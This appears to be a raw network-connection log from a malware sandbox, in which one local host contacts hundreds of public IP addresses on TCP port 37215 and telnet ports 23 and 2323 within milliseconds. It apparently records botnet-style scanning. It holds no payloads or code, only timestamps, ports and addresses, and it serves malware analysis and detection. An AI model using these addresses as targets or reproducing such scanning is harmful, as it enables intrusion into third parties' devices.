Aug 6, 2024 08:32:57.826278925 CEST	61142	37215	192.168.2.14	197.26.78.192
Aug 6, 2024 08:32:57.826283932 CEST	37215	61142	156.151.233.217	192.168.2.14
Aug 6, 2024 08:32:57.826283932 CEST	61142	37215	192.168.2.14	156.118.71.208
Aug 6, 2024 08:32:57.826292038 CEST	61142	37215	192.168.2.14	41.123.254.171
Aug 6, 2024 08:32:57.826296091 CEST	37215	61142	197.91.92.162	192.168.2.14
Aug 6, 2024 08:32:57.826299906 CEST	61142	37215	192.168.2.14	197.0.151.175
Aug 6, 2024 08:32:57.826307058 CEST	37215	61142	41.146.250.201	192.168.2.14
Aug 6, 2024 08:32:57.826313972 CEST	61142	37215	192.168.2.14	156.151.233.217
Aug 6, 2024 08:32:57.826318026 CEST	37215	61142	197.160.206.248	192.168.2.14
Aug 6, 2024 08:32:57.826328039 CEST	37215	61142	197.98.6.152	192.168.2.14
Aug 6, 2024 08:32:57.826332092 CEST	61142	37215	192.168.2.14	197.91.92.162
Aug 6, 2024 08:32:57.826339006 CEST	37215	61142	197.13.53.5	192.168.2.14
Aug 6, 2024 08:32:57.826339006 CEST	61142	37215	192.168.2.14	41.146.250.201
Aug 6, 2024 08:32:57.826349974 CEST	37215	61142	41.32.47.23	192.168.2.14
Aug 6, 2024 08:32:57.826354027 CEST	61142	37215	192.168.2.14	197.160.206.248
Aug 6, 2024 08:32:57.826359987 CEST	37215	61142	41.29.159.181	192.168.2.14
Aug 6, 2024 08:32:57.826360941 CEST	61142	37215	192.168.2.14	197.98.6.152
Aug 6, 2024 08:32:57.826360941 CEST	61142	37215	192.168.2.14	197.13.53.5
Aug 6, 2024 08:32:57.826379061 CEST	61142	37215	192.168.2.14	41.32.47.23
Aug 6, 2024 08:32:57.826442003 CEST	61142	37215	192.168.2.14	41.29.159.181
Aug 6, 2024 08:32:57.826482058 CEST	37215	61142	197.44.96.72	192.168.2.14
Aug 6, 2024 08:32:57.826523066 CEST	61142	37215	192.168.2.14	197.44.96.72
Aug 6, 2024 08:32:57.826594114 CEST	37215	61142	156.169.168.176	192.168.2.14
Aug 6, 2024 08:32:57.826605082 CEST	37215	61142	197.108.18.57	192.168.2.14
Aug 6, 2024 08:32:57.826615095 CEST	37215	61142	197.116.146.79	192.168.2.14
Aug 6, 2024 08:32:57.826623917 CEST	37215	61142	197.244.44.179	192.168.2.14
Aug 6, 2024 08:32:57.826627016 CEST	61142	37215	192.168.2.14	156.169.168.176
Aug 6, 2024 08:32:57.826634884 CEST	37215	61142	156.108.116.67	192.168.2.14
Aug 6, 2024 08:32:57.826639891 CEST	61142	37215	192.168.2.14	197.108.18.57
Aug 6, 2024 08:32:57.826641083 CEST	61142	37215	192.168.2.14	197.116.146.79
Aug 6, 2024 08:32:57.826644897 CEST	37215	61142	41.167.138.167	192.168.2.14
Aug 6, 2024 08:32:57.826648951 CEST	61142	37215	192.168.2.14	197.244.44.179
Aug 6, 2024 08:32:57.826654911 CEST	37215	61142	156.98.186.58	192.168.2.14
Aug 6, 2024 08:32:57.826673031 CEST	61142	37215	192.168.2.14	156.108.116.67
Aug 6, 2024 08:32:57.826677084 CEST	37215	61142	156.202.196.193	192.168.2.14
Aug 6, 2024 08:32:57.826688051 CEST	37215	61142	156.108.110.80	192.168.2.14
Aug 6, 2024 08:32:57.826693058 CEST	61142	37215	192.168.2.14	41.167.138.167
Aug 6, 2024 08:32:57.826693058 CEST	61142	37215	192.168.2.14	156.98.186.58
Aug 6, 2024 08:32:57.826697111 CEST	37215	61142	41.128.53.212	192.168.2.14
Aug 6, 2024 08:32:57.826706886 CEST	37215	61142	197.137.129.225	192.168.2.14
Aug 6, 2024 08:32:57.826716900 CEST	37215	61142	41.90.36.34	192.168.2.14
Aug 6, 2024 08:32:57.826726913 CEST	37215	61142	156.231.97.52	192.168.2.14
Aug 6, 2024 08:32:57.826738119 CEST	37215	61142	156.95.239.189	192.168.2.14
Aug 6, 2024 08:32:57.826738119 CEST	61142	37215	192.168.2.14	156.202.196.193
Aug 6, 2024 08:32:57.826738119 CEST	61142	37215	192.168.2.14	41.90.36.34
Aug 6, 2024 08:32:57.826740980 CEST	61142	37215	192.168.2.14	156.108.110.80
Aug 6, 2024 08:32:57.826741934 CEST	37215	61142	156.106.31.101	192.168.2.14
Aug 6, 2024 08:32:57.826747894 CEST	37215	61142	156.42.6.81	192.168.2.14
Aug 6, 2024 08:32:57.826750994 CEST	61142	37215	192.168.2.14	41.128.53.212
Aug 6, 2024 08:32:57.826750994 CEST	61142	37215	192.168.2.14	197.137.129.225
Aug 6, 2024 08:32:57.826766014 CEST	37215	61142	197.178.197.107	192.168.2.14
Aug 6, 2024 08:32:57.826776981 CEST	37215	61142	197.58.229.117	192.168.2.14
Aug 6, 2024 08:32:57.826781988 CEST	61142	37215	192.168.2.14	156.106.31.101
Aug 6, 2024 08:32:57.826781988 CEST	61142	37215	192.168.2.14	156.231.97.52
Aug 6, 2024 08:32:57.826788902 CEST	37215	61142	41.53.18.63	192.168.2.14
Aug 6, 2024 08:32:57.826792955 CEST	61142	37215	192.168.2.14	156.95.239.189
Aug 6, 2024 08:32:57.826793909 CEST	61142	37215	192.168.2.14	197.178.197.107
Aug 6, 2024 08:32:57.826792955 CEST	61142	37215	192.168.2.14	156.42.6.81
Aug 6, 2024 08:32:57.826800108 CEST	37215	61142	197.116.228.170	192.168.2.14
Aug 6, 2024 08:32:57.826812029 CEST	37215	61142	156.226.127.182	192.168.2.14
Aug 6, 2024 08:32:57.826827049 CEST	37215	61142	197.209.203.187	192.168.2.14
Aug 6, 2024 08:32:57.826838017 CEST	37215	61142	197.45.165.32	192.168.2.14
Aug 6, 2024 08:32:57.826848984 CEST	37215	61142	156.21.187.80	192.168.2.14
Aug 6, 2024 08:32:57.826855898 CEST	61142	37215	192.168.2.14	197.58.229.117
Aug 6, 2024 08:32:57.826855898 CEST	61142	37215	192.168.2.14	197.116.228.170
Aug 6, 2024 08:32:57.826857090 CEST	61142	37215	192.168.2.14	41.53.18.63
Aug 6, 2024 08:32:57.826857090 CEST	61142	37215	192.168.2.14	156.226.127.182
Aug 6, 2024 08:32:57.826858997 CEST	37215	61142	156.209.162.103	192.168.2.14
Aug 6, 2024 08:32:57.826869965 CEST	37215	61142	197.74.155.183	192.168.2.14
Aug 6, 2024 08:32:57.826875925 CEST	61142	37215	192.168.2.14	197.45.165.32
Aug 6, 2024 08:32:57.826879978 CEST	37215	61142	156.218.151.70	192.168.2.14
Aug 6, 2024 08:32:57.826889992 CEST	61142	37215	192.168.2.14	156.21.187.80
Aug 6, 2024 08:32:57.826889992 CEST	61142	37215	192.168.2.14	156.209.162.103
Aug 6, 2024 08:32:57.826903105 CEST	61142	37215	192.168.2.14	156.218.151.70
Aug 6, 2024 08:32:57.826910973 CEST	61142	37215	192.168.2.14	197.74.155.183
Aug 6, 2024 08:32:57.826944113 CEST	61142	37215	192.168.2.14	197.209.203.187
Aug 6, 2024 08:32:57.827122927 CEST	37215	61142	156.115.169.96	192.168.2.14
Aug 6, 2024 08:32:57.827133894 CEST	37215	61142	156.9.49.106	192.168.2.14
Aug 6, 2024 08:32:57.827145100 CEST	37215	61142	41.141.113.121	192.168.2.14
Aug 6, 2024 08:32:57.827155113 CEST	37215	61142	156.84.121.52	192.168.2.14
Aug 6, 2024 08:32:57.827164888 CEST	37215	61142	156.12.183.66	192.168.2.14
Aug 6, 2024 08:32:57.827176094 CEST	37215	61142	41.175.71.81	192.168.2.14
Aug 6, 2024 08:32:57.827186108 CEST	37215	61142	197.52.196.233	192.168.2.14
Aug 6, 2024 08:32:57.827191114 CEST	61142	37215	192.168.2.14	156.115.169.96
Aug 6, 2024 08:32:57.827191114 CEST	61142	37215	192.168.2.14	156.9.49.106
Aug 6, 2024 08:32:57.827193975 CEST	61142	37215	192.168.2.14	41.141.113.121
Aug 6, 2024 08:32:57.827198029 CEST	37215	61142	41.113.154.68	192.168.2.14
Aug 6, 2024 08:32:57.827203035 CEST	61142	37215	192.168.2.14	156.12.183.66
Aug 6, 2024 08:32:57.827207088 CEST	61142	37215	192.168.2.14	156.84.121.52
Aug 6, 2024 08:32:57.827209949 CEST	61142	37215	192.168.2.14	41.175.71.81
Aug 6, 2024 08:32:57.827213049 CEST	61142	37215	192.168.2.14	197.52.196.233
Aug 6, 2024 08:32:57.827224970 CEST	37215	61142	197.153.83.250	192.168.2.14
Aug 6, 2024 08:32:57.827234983 CEST	37215	61142	41.97.122.146	192.168.2.14
Aug 6, 2024 08:32:57.827244997 CEST	37215	61142	197.148.25.151	192.168.2.14
Aug 6, 2024 08:32:57.827255964 CEST	37215	61142	156.46.53.169	192.168.2.14
Aug 6, 2024 08:32:57.827264071 CEST	61142	37215	192.168.2.14	197.153.83.250
Aug 6, 2024 08:32:57.827266932 CEST	37215	61142	156.240.242.22	192.168.2.14
Aug 6, 2024 08:32:57.827271938 CEST	61142	37215	192.168.2.14	41.113.154.68
Aug 6, 2024 08:32:57.827276945 CEST	61142	37215	192.168.2.14	41.97.122.146
Aug 6, 2024 08:32:57.827276945 CEST	61142	37215	192.168.2.14	197.148.25.151
Aug 6, 2024 08:32:57.827280998 CEST	37215	61142	41.158.14.71	192.168.2.14
Aug 6, 2024 08:32:57.827287912 CEST	61142	37215	192.168.2.14	156.46.53.169
Aug 6, 2024 08:32:57.827291965 CEST	37215	61142	197.3.222.193	192.168.2.14
Aug 6, 2024 08:32:57.827297926 CEST	61142	37215	192.168.2.14	156.240.242.22
Aug 6, 2024 08:32:57.827301979 CEST	37215	61142	41.86.188.172	192.168.2.14
Aug 6, 2024 08:32:57.827311993 CEST	61142	37215	192.168.2.14	41.158.14.71
Aug 6, 2024 08:32:57.827313900 CEST	37215	61142	41.189.168.243	192.168.2.14
Aug 6, 2024 08:32:57.827325106 CEST	37215	61142	41.39.23.209	192.168.2.14
Aug 6, 2024 08:32:57.827334881 CEST	37215	61142	156.88.39.9	192.168.2.14
Aug 6, 2024 08:32:57.827343941 CEST	37215	61142	197.44.227.23	192.168.2.14
Aug 6, 2024 08:32:57.827354908 CEST	37215	61142	197.190.71.95	192.168.2.14
Aug 6, 2024 08:32:57.827358961 CEST	61142	37215	192.168.2.14	41.86.188.172
Aug 6, 2024 08:32:57.827362061 CEST	61142	37215	192.168.2.14	197.3.222.193
Aug 6, 2024 08:32:57.827366114 CEST	37215	61142	197.151.199.82	192.168.2.14
Aug 6, 2024 08:32:57.827374935 CEST	37215	61142	156.155.147.28	192.168.2.14
Aug 6, 2024 08:32:57.827383041 CEST	61142	37215	192.168.2.14	156.88.39.9
Aug 6, 2024 08:32:57.827383041 CEST	37215	61142	41.61.203.75	192.168.2.14
Aug 6, 2024 08:32:57.827387094 CEST	61142	37215	192.168.2.14	197.44.227.23
Aug 6, 2024 08:32:57.827388048 CEST	37215	61142	156.105.22.195	192.168.2.14
Aug 6, 2024 08:32:57.827389002 CEST	61142	37215	192.168.2.14	41.39.23.209
Aug 6, 2024 08:32:57.827392101 CEST	61142	37215	192.168.2.14	197.190.71.95
Aug 6, 2024 08:32:57.827399015 CEST	37215	61142	197.202.174.153	192.168.2.14
Aug 6, 2024 08:32:57.827409029 CEST	37215	61142	156.221.29.42	192.168.2.14
Aug 6, 2024 08:32:57.827410936 CEST	61142	37215	192.168.2.14	41.61.203.75
Aug 6, 2024 08:32:57.827416897 CEST	61142	37215	192.168.2.14	41.189.168.243
Aug 6, 2024 08:32:57.827419043 CEST	37215	61142	156.176.4.128	192.168.2.14
Aug 6, 2024 08:32:57.827424049 CEST	61142	37215	192.168.2.14	156.155.147.28
Aug 6, 2024 08:32:57.827431917 CEST	61142	37215	192.168.2.14	197.202.174.153
Aug 6, 2024 08:32:57.827454090 CEST	61142	37215	192.168.2.14	156.176.4.128
Aug 6, 2024 08:32:57.827455044 CEST	61142	37215	192.168.2.14	197.151.199.82
Aug 6, 2024 08:32:57.827455044 CEST	61142	37215	192.168.2.14	156.105.22.195
Aug 6, 2024 08:32:57.827462912 CEST	61142	37215	192.168.2.14	156.221.29.42
Aug 6, 2024 08:32:57.827615023 CEST	37215	61142	41.234.175.174	192.168.2.14
Aug 6, 2024 08:32:57.827625990 CEST	37215	61142	41.124.13.62	192.168.2.14
Aug 6, 2024 08:32:57.827636003 CEST	37215	61142	156.252.202.94	192.168.2.14
Aug 6, 2024 08:32:57.827646017 CEST	37215	61142	41.81.28.179	192.168.2.14
Aug 6, 2024 08:32:57.827656031 CEST	37215	61142	41.28.168.62	192.168.2.14
Aug 6, 2024 08:32:57.827666998 CEST	37215	61142	41.240.222.87	192.168.2.14
Aug 6, 2024 08:32:57.827668905 CEST	61142	37215	192.168.2.14	41.234.175.174
Aug 6, 2024 08:32:57.827668905 CEST	61142	37215	192.168.2.14	41.124.13.62
Aug 6, 2024 08:32:57.827668905 CEST	61142	37215	192.168.2.14	41.81.28.179
Aug 6, 2024 08:32:57.827671051 CEST	37215	61142	197.74.211.1	192.168.2.14
Aug 6, 2024 08:32:57.827681065 CEST	61142	37215	192.168.2.14	156.252.202.94
Aug 6, 2024 08:32:57.827692986 CEST	37215	61142	156.39.190.188	192.168.2.14
Aug 6, 2024 08:32:57.827702999 CEST	37215	61142	41.137.40.202	192.168.2.14
Aug 6, 2024 08:32:57.827713966 CEST	37215	61142	197.175.48.74	192.168.2.14
Aug 6, 2024 08:32:57.827714920 CEST	61142	37215	192.168.2.14	41.240.222.87
Aug 6, 2024 08:32:57.827722073 CEST	61142	37215	192.168.2.14	197.74.211.1
Aug 6, 2024 08:32:57.827723980 CEST	37215	61142	41.170.187.126	192.168.2.14
Aug 6, 2024 08:32:57.827724934 CEST	61142	37215	192.168.2.14	156.39.190.188
Aug 6, 2024 08:32:57.827724934 CEST	61142	37215	192.168.2.14	41.28.168.62
Aug 6, 2024 08:32:57.827730894 CEST	61142	37215	192.168.2.14	41.137.40.202
Aug 6, 2024 08:32:57.827734947 CEST	37215	61142	41.83.20.241	192.168.2.14
Aug 6, 2024 08:32:57.827739954 CEST	61142	37215	192.168.2.14	197.175.48.74
Aug 6, 2024 08:32:57.827745914 CEST	37215	61142	197.185.96.197	192.168.2.14
Aug 6, 2024 08:32:57.827748060 CEST	61142	37215	192.168.2.14	41.170.187.126
Aug 6, 2024 08:32:57.827755928 CEST	37215	61142	41.195.3.220	192.168.2.14
Aug 6, 2024 08:32:57.827765942 CEST	61142	37215	192.168.2.14	41.83.20.241
Aug 6, 2024 08:32:57.827765942 CEST	37215	61142	41.169.1.160	192.168.2.14
Aug 6, 2024 08:32:57.827770948 CEST	61142	37215	192.168.2.14	197.185.96.197
Aug 6, 2024 08:32:57.827776909 CEST	37215	61142	41.111.116.69	192.168.2.14
Aug 6, 2024 08:32:57.827786922 CEST	61142	37215	192.168.2.14	41.195.3.220
Aug 6, 2024 08:32:57.827796936 CEST	37215	61142	197.123.250.251	192.168.2.14
Aug 6, 2024 08:32:57.827802896 CEST	61142	37215	192.168.2.14	41.169.1.160
Aug 6, 2024 08:32:57.827810049 CEST	37215	61142	156.37.14.109	192.168.2.14
Aug 6, 2024 08:32:57.827821016 CEST	37215	61142	41.233.198.210	192.168.2.14
Aug 6, 2024 08:32:57.827831030 CEST	37215	61142	156.178.174.105	192.168.2.14
Aug 6, 2024 08:32:57.827831030 CEST	61142	37215	192.168.2.14	41.111.116.69
Aug 6, 2024 08:32:57.827841043 CEST	37215	61142	41.236.179.181	192.168.2.14
Aug 6, 2024 08:32:57.827845097 CEST	37215	61142	156.31.218.172	192.168.2.14
Aug 6, 2024 08:32:57.827848911 CEST	37215	61142	41.133.85.214	192.168.2.14
Aug 6, 2024 08:32:57.827852964 CEST	37215	61142	197.94.142.206	192.168.2.14
Aug 6, 2024 08:32:57.827857971 CEST	37215	61142	41.71.67.34	192.168.2.14
Aug 6, 2024 08:32:57.827862024 CEST	37215	61142	156.87.11.253	192.168.2.14
Aug 6, 2024 08:32:57.827866077 CEST	37215	61142	156.229.53.104	192.168.2.14
Aug 6, 2024 08:32:57.827872992 CEST	37215	61142	156.99.69.120	192.168.2.14
Aug 6, 2024 08:32:57.827889919 CEST	61142	37215	192.168.2.14	197.123.250.251
Aug 6, 2024 08:32:57.827917099 CEST	61142	37215	192.168.2.14	156.37.14.109
Aug 6, 2024 08:32:57.827917099 CEST	61142	37215	192.168.2.14	41.233.198.210
Aug 6, 2024 08:32:57.827958107 CEST	61142	37215	192.168.2.14	41.236.179.181
Aug 6, 2024 08:32:57.827972889 CEST	61142	37215	192.168.2.14	156.31.218.172
Aug 6, 2024 08:32:57.827972889 CEST	61142	37215	192.168.2.14	41.133.85.214
Aug 6, 2024 08:32:57.828000069 CEST	61142	37215	192.168.2.14	197.94.142.206
Aug 6, 2024 08:32:57.828078032 CEST	61142	37215	192.168.2.14	156.99.69.120
Aug 6, 2024 08:32:57.828078032 CEST	61142	37215	192.168.2.14	156.229.53.104
Aug 6, 2024 08:32:57.828083992 CEST	61142	37215	192.168.2.14	156.87.11.253
Aug 6, 2024 08:32:57.828083992 CEST	61142	37215	192.168.2.14	156.178.174.105
Aug 6, 2024 08:32:57.828092098 CEST	61142	37215	192.168.2.14	41.71.67.34
Aug 6, 2024 08:32:57.828234911 CEST	37215	61142	197.66.20.224	192.168.2.14
Aug 6, 2024 08:32:57.828246117 CEST	37215	61142	41.39.210.77	192.168.2.14
Aug 6, 2024 08:32:57.828249931 CEST	37215	61142	197.17.109.18	192.168.2.14
Aug 6, 2024 08:32:57.828293085 CEST	61142	37215	192.168.2.14	41.39.210.77
Aug 6, 2024 08:32:57.828294992 CEST	61142	37215	192.168.2.14	197.66.20.224
Aug 6, 2024 08:32:57.828299046 CEST	61142	37215	192.168.2.14	197.17.109.18
Aug 6, 2024 08:32:57.828299046 CEST	37215	61142	41.243.188.108	192.168.2.14
Aug 6, 2024 08:32:57.828310013 CEST	37215	61142	156.111.178.221	192.168.2.14
Aug 6, 2024 08:32:57.828319073 CEST	37215	61142	41.3.222.249	192.168.2.14
Aug 6, 2024 08:32:57.828330994 CEST	37215	61142	41.64.162.163	192.168.2.14
Aug 6, 2024 08:32:57.828331947 CEST	61142	37215	192.168.2.14	41.243.188.108
Aug 6, 2024 08:32:57.828331947 CEST	61142	37215	192.168.2.14	156.111.178.221
Aug 6, 2024 08:32:57.828341007 CEST	37215	61142	156.158.222.92	192.168.2.14
Aug 6, 2024 08:32:57.828351974 CEST	61142	37215	192.168.2.14	41.3.222.249
Aug 6, 2024 08:32:57.828361034 CEST	61142	37215	192.168.2.14	41.64.162.163
Aug 6, 2024 08:32:57.828363895 CEST	37215	61142	197.85.104.216	192.168.2.14
Aug 6, 2024 08:32:57.828372955 CEST	61142	37215	192.168.2.14	156.158.222.92
Aug 6, 2024 08:32:57.828373909 CEST	37215	61142	156.235.190.74	192.168.2.14
Aug 6, 2024 08:32:57.828385115 CEST	37215	61142	197.248.74.54	192.168.2.14
Aug 6, 2024 08:32:57.828394890 CEST	37215	61142	41.157.228.61	192.168.2.14
Aug 6, 2024 08:32:57.828402042 CEST	61142	37215	192.168.2.14	156.235.190.74
Aug 6, 2024 08:32:57.828404903 CEST	61142	37215	192.168.2.14	197.85.104.216
Aug 6, 2024 08:32:57.828412056 CEST	61142	37215	192.168.2.14	197.248.74.54
Aug 6, 2024 08:32:57.828419924 CEST	61142	37215	192.168.2.14	41.157.228.61
Aug 6, 2024 08:32:57.828425884 CEST	37215	61142	197.129.93.172	192.168.2.14
Aug 6, 2024 08:32:57.828438044 CEST	37215	61142	41.241.249.10	192.168.2.14
Aug 6, 2024 08:32:57.828447104 CEST	37215	61142	197.135.116.208	192.168.2.14
Aug 6, 2024 08:32:57.828455925 CEST	37215	61142	41.126.237.119	192.168.2.14
Aug 6, 2024 08:32:57.828470945 CEST	37215	61142	156.94.165.201	192.168.2.14
Aug 6, 2024 08:32:57.828471899 CEST	61142	37215	192.168.2.14	197.129.93.172
Aug 6, 2024 08:32:57.828471899 CEST	61142	37215	192.168.2.14	41.241.249.10
Aug 6, 2024 08:32:57.828471899 CEST	61142	37215	192.168.2.14	197.135.116.208
Aug 6, 2024 08:32:57.828486919 CEST	37215	61142	156.109.160.83	192.168.2.14
Aug 6, 2024 08:32:57.828495026 CEST	61142	37215	192.168.2.14	41.126.237.119
Aug 6, 2024 08:32:57.828497887 CEST	37215	61142	41.41.5.234	192.168.2.14
Aug 6, 2024 08:32:57.828507900 CEST	61142	37215	192.168.2.14	156.94.165.201
Aug 6, 2024 08:32:57.828516960 CEST	37215	61142	156.68.100.122	192.168.2.14
Aug 6, 2024 08:32:57.828528881 CEST	37215	61142	197.246.49.210	192.168.2.14
Aug 6, 2024 08:32:57.828531981 CEST	61142	37215	192.168.2.14	156.109.160.83
Aug 6, 2024 08:32:57.828531981 CEST	61142	37215	192.168.2.14	41.41.5.234
Aug 6, 2024 08:32:57.828540087 CEST	37215	61142	156.74.26.243	192.168.2.14
Aug 6, 2024 08:32:57.828551054 CEST	37215	61142	41.249.148.178	192.168.2.14
Aug 6, 2024 08:32:57.828560114 CEST	37215	61142	41.34.184.204	192.168.2.14
Aug 6, 2024 08:32:57.828560114 CEST	61142	37215	192.168.2.14	156.68.100.122
Aug 6, 2024 08:32:57.828562975 CEST	61142	37215	192.168.2.14	197.246.49.210
Aug 6, 2024 08:32:57.828567982 CEST	61142	37215	192.168.2.14	156.74.26.243
Aug 6, 2024 08:32:57.828571081 CEST	37215	61142	156.110.107.187	192.168.2.14
Aug 6, 2024 08:32:57.828574896 CEST	61142	37215	192.168.2.14	41.249.148.178
Aug 6, 2024 08:32:57.828579903 CEST	37215	61142	41.60.246.135	192.168.2.14
Aug 6, 2024 08:32:57.828588009 CEST	61142	37215	192.168.2.14	41.34.184.204
Aug 6, 2024 08:32:57.828597069 CEST	37215	61142	156.229.253.94	192.168.2.14
Aug 6, 2024 08:32:57.828607082 CEST	37215	61142	41.63.176.68	192.168.2.14
Aug 6, 2024 08:32:57.828610897 CEST	61142	37215	192.168.2.14	156.110.107.187
Aug 6, 2024 08:32:57.828619003 CEST	61142	37215	192.168.2.14	41.60.246.135
Aug 6, 2024 08:32:57.828632116 CEST	61142	37215	192.168.2.14	156.229.253.94
Aug 6, 2024 08:32:57.828632116 CEST	61142	37215	192.168.2.14	41.63.176.68
Aug 6, 2024 08:32:57.828882933 CEST	37215	61142	156.120.203.129	192.168.2.14
Aug 6, 2024 08:32:57.828892946 CEST	37215	61142	41.188.13.223	192.168.2.14
Aug 6, 2024 08:32:57.828903913 CEST	37215	61142	156.38.36.98	192.168.2.14
Aug 6, 2024 08:32:57.828913927 CEST	37215	61142	156.219.90.140	192.168.2.14
Aug 6, 2024 08:32:57.828917027 CEST	61142	37215	192.168.2.14	156.120.203.129
Aug 6, 2024 08:32:57.828924894 CEST	37215	61142	156.90.142.34	192.168.2.14
Aug 6, 2024 08:32:57.828934908 CEST	37215	61142	156.211.187.99	192.168.2.14
Aug 6, 2024 08:32:57.828937054 CEST	61142	37215	192.168.2.14	41.188.13.223
Aug 6, 2024 08:32:57.828942060 CEST	61142	37215	192.168.2.14	156.38.36.98
Aug 6, 2024 08:32:57.828947067 CEST	37215	61142	156.191.143.79	192.168.2.14
Aug 6, 2024 08:32:57.828949928 CEST	61142	37215	192.168.2.14	156.90.142.34
Aug 6, 2024 08:32:57.828957081 CEST	61142	37215	192.168.2.14	156.219.90.140
Aug 6, 2024 08:32:57.828958035 CEST	37215	61142	41.66.104.140	192.168.2.14
Aug 6, 2024 08:32:57.828968048 CEST	37215	61142	41.76.72.232	192.168.2.14
Aug 6, 2024 08:32:57.828982115 CEST	61142	37215	192.168.2.14	156.211.187.99
Aug 6, 2024 08:32:57.828983068 CEST	61142	37215	192.168.2.14	41.66.104.140
Aug 6, 2024 08:32:57.828982115 CEST	61142	37215	192.168.2.14	156.191.143.79
Aug 6, 2024 08:32:57.828986883 CEST	37215	61142	41.134.252.198	192.168.2.14
Aug 6, 2024 08:32:57.828996897 CEST	37215	61142	156.146.161.140	192.168.2.14
Aug 6, 2024 08:32:57.829000950 CEST	61142	37215	192.168.2.14	41.76.72.232
Aug 6, 2024 08:32:57.829006910 CEST	37215	61142	156.103.175.80	192.168.2.14
Aug 6, 2024 08:32:57.829016924 CEST	37215	61142	41.132.244.189	192.168.2.14
Aug 6, 2024 08:32:57.829022884 CEST	61142	37215	192.168.2.14	41.134.252.198
Aug 6, 2024 08:32:57.829026937 CEST	37215	61142	156.175.90.23	192.168.2.14
Aug 6, 2024 08:32:57.829027891 CEST	61142	37215	192.168.2.14	156.146.161.140
Aug 6, 2024 08:32:57.829036951 CEST	61142	37215	192.168.2.14	156.103.175.80
Aug 6, 2024 08:32:57.829036951 CEST	37215	61142	197.49.113.26	192.168.2.14
Aug 6, 2024 08:32:57.829045057 CEST	61142	37215	192.168.2.14	41.132.244.189
Aug 6, 2024 08:32:57.829046965 CEST	37215	61142	41.8.60.219	192.168.2.14
Aug 6, 2024 08:32:57.829056025 CEST	61142	37215	192.168.2.14	156.175.90.23
Aug 6, 2024 08:32:57.829057932 CEST	37215	61142	197.243.147.108	192.168.2.14
Aug 6, 2024 08:32:57.829068899 CEST	61142	37215	192.168.2.14	197.49.113.26
Aug 6, 2024 08:32:57.829068899 CEST	23	61398	1.11.145.151	192.168.2.14
Aug 6, 2024 08:32:57.829080105 CEST	37215	61142	156.120.89.247	192.168.2.14
Aug 6, 2024 08:32:57.829083920 CEST	61142	37215	192.168.2.14	41.8.60.219
Aug 6, 2024 08:32:57.829083920 CEST	61142	37215	192.168.2.14	197.243.147.108
Aug 6, 2024 08:32:57.829091072 CEST	23	61398	189.34.243.252	192.168.2.14
Aug 6, 2024 08:32:57.829102993 CEST	37215	61142	41.93.67.128	192.168.2.14
Aug 6, 2024 08:32:57.829118013 CEST	37215	61142	156.71.179.176	192.168.2.14
Aug 6, 2024 08:32:57.829128027 CEST	37215	61142	156.161.239.9	192.168.2.14
Aug 6, 2024 08:32:57.829138994 CEST	37215	61142	41.126.48.149	192.168.2.14
Aug 6, 2024 08:32:57.829143047 CEST	61398	23	192.168.2.14	189.34.243.252
Aug 6, 2024 08:32:57.829144001 CEST	61142	37215	192.168.2.14	156.120.89.247
Aug 6, 2024 08:32:57.829144955 CEST	61142	37215	192.168.2.14	156.71.179.176
Aug 6, 2024 08:32:57.829144001 CEST	61398	23	192.168.2.14	1.11.145.151
Aug 6, 2024 08:32:57.829144001 CEST	61142	37215	192.168.2.14	41.93.67.128
Aug 6, 2024 08:32:57.829149008 CEST	37215	61142	156.206.12.203	192.168.2.14
Aug 6, 2024 08:32:57.829161882 CEST	23	61398	204.17.132.235	192.168.2.14
Aug 6, 2024 08:32:57.829170942 CEST	61142	37215	192.168.2.14	156.161.239.9
Aug 6, 2024 08:32:57.829171896 CEST	37215	61142	156.115.124.112	192.168.2.14
Aug 6, 2024 08:32:57.829179049 CEST	61142	37215	192.168.2.14	156.206.12.203
Aug 6, 2024 08:32:57.829181910 CEST	37215	61142	41.97.220.207	192.168.2.14
Aug 6, 2024 08:32:57.829200983 CEST	61142	37215	192.168.2.14	41.126.48.149
Aug 6, 2024 08:32:57.829207897 CEST	61142	37215	192.168.2.14	41.97.220.207
Aug 6, 2024 08:32:57.829207897 CEST	61142	37215	192.168.2.14	156.115.124.112
Aug 6, 2024 08:32:57.829413891 CEST	61398	23	192.168.2.14	204.17.132.235
Aug 6, 2024 08:32:57.829430103 CEST	37215	61142	197.99.255.71	192.168.2.14
Aug 6, 2024 08:32:57.829498053 CEST	61142	37215	192.168.2.14	197.99.255.71
Aug 6, 2024 08:32:57.829511881 CEST	2323	61398	202.244.106.37	192.168.2.14
Aug 6, 2024 08:32:57.829523087 CEST	37215	61142	197.243.175.21	192.168.2.14
Aug 6, 2024 08:32:57.829533100 CEST	37215	61142	197.129.40.70	192.168.2.14
Aug 6, 2024 08:32:57.829541922 CEST	23	61398	34.220.112.74	192.168.2.14
Aug 6, 2024 08:32:57.829550028 CEST	61398	2323	192.168.2.14	202.244.106.37
Aug 6, 2024 08:32:57.829551935 CEST	23	61398	144.39.73.189	192.168.2.14
Aug 6, 2024 08:32:57.829559088 CEST	61142	37215	192.168.2.14	197.243.175.21
Aug 6, 2024 08:32:57.829569101 CEST	61142	37215	192.168.2.14	197.129.40.70
Aug 6, 2024 08:32:57.829570055 CEST	23	61398	114.244.108.236	192.168.2.14
Aug 6, 2024 08:32:57.829577923 CEST	61398	23	192.168.2.14	144.39.73.189
Aug 6, 2024 08:32:57.829581976 CEST	37215	61142	156.132.223.150	192.168.2.14
Aug 6, 2024 08:32:57.829581976 CEST	61398	23	192.168.2.14	34.220.112.74
Aug 6, 2024 08:32:57.829593897 CEST	23	61398	170.25.29.34	192.168.2.14
Aug 6, 2024 08:32:57.829660892 CEST	61398	23	192.168.2.14	114.244.108.236
Aug 6, 2024 08:32:57.829691887 CEST	61398	23	192.168.2.14	170.25.29.34
Aug 6, 2024 08:32:57.829698086 CEST	23	61398	105.107.126.58	192.168.2.14
Aug 6, 2024 08:32:57.829709053 CEST	23	61398	115.23.43.141	192.168.2.14
Aug 6, 2024 08:32:57.829719067 CEST	37215	61142	156.218.176.57	192.168.2.14
Aug 6, 2024 08:32:57.829727888 CEST	61142	37215	192.168.2.14	156.132.223.150
Aug 6, 2024 08:32:57.829729080 CEST	37215	61142	197.26.44.71	192.168.2.14
Aug 6, 2024 08:32:57.829735994 CEST	61398	23	192.168.2.14	105.107.126.58
Aug 6, 2024 08:32:57.829737902 CEST	61398	23	192.168.2.14	115.23.43.141
Aug 6, 2024 08:32:57.829741001 CEST	2323	61398	172.140.62.171	192.168.2.14
Aug 6, 2024 08:32:57.829750061 CEST	61142	37215	192.168.2.14	197.26.44.71
